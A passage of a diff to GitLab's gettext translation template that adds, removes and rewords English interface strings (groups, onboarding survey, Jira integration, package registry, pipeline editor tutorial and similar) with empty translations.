-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -16489,22 +16717,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16576,7 +16813,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16591,6 +16828,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16603,6 +16843,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16723,9 +16975,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16759,9 +17008,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16846,9 +17092,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16858,9 +17119,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -17014,6 +17272,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -17272,6 +17533,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -17305,6 +17569,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -17317,9 +17584,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -17332,6 +17608,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -17458,6 +17737,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -17497,6 +17779,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -17512,10 +17797,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -17551,9 +17836,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17629,6 +17923,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17668,6 +17965,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17707,6 +18007,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17722,9 +18025,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17854,7 +18154,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -18055,10 +18355,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -18136,7 +18436,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -18322,7 +18622,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18556,6 +18856,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18625,12 +18928,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18658,6 +18955,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18703,6 +19021,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18805,6 +19126,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18814,6 +19138,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18847,13 +19177,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18877,7 +19207,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18952,6 +19282,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18967,10 +19300,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -19057,7 +19390,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -19105,6 +19438,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -19120,6 +19465,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -19213,6 +19561,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -19246,6 +19597,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -19273,9 +19627,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -19312,6 +19687,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -19558,18 +19936,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19741,6 +20113,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19777,6 +20155,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -20293,7 +20674,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -20551,6 +20932,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20638,6 +21022,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20833,6 +21220,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20884,9 +21274,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -21175,10 +21562,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -21283,6 +21670,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -21457,10 +21847,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21721,6 +22111,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21853,6 +22249,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21880,6 +22279,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -22051,9 +22453,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -22153,9 +22552,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -22507,7 +22903,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -22534,6 +22930,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22747,6 +23146,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -23089,6 +23491,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -23473,7 +23878,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -23572,7 +23977,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23638,6 +24043,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23665,6 +24073,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23707,6 +24118,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23728,6 +24142,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23779,9 +24196,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23791,6 +24217,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23806,6 +24235,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23851,6 +24283,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23863,12 +24298,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23965,7 +24394,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23980,6 +24409,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -24031,6 +24463,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -24166,6 +24601,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -24244,6 +24682,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -24298,6 +24739,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -24364,6 +24853,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -24421,6 +24913,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -24442,6 +24937,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -24496,6 +24994,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -24526,9 +25027,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24826,9 +25324,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24865,6 +25369,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24874,6 +25381,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24907,9 +25417,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24937,6 +25444,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -25093,6 +25603,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -25447,7 +25960,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25705,6 +26218,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25858,9 +26374,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -26335,9 +26848,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -26389,12 +26899,6 @@ msgstr ""
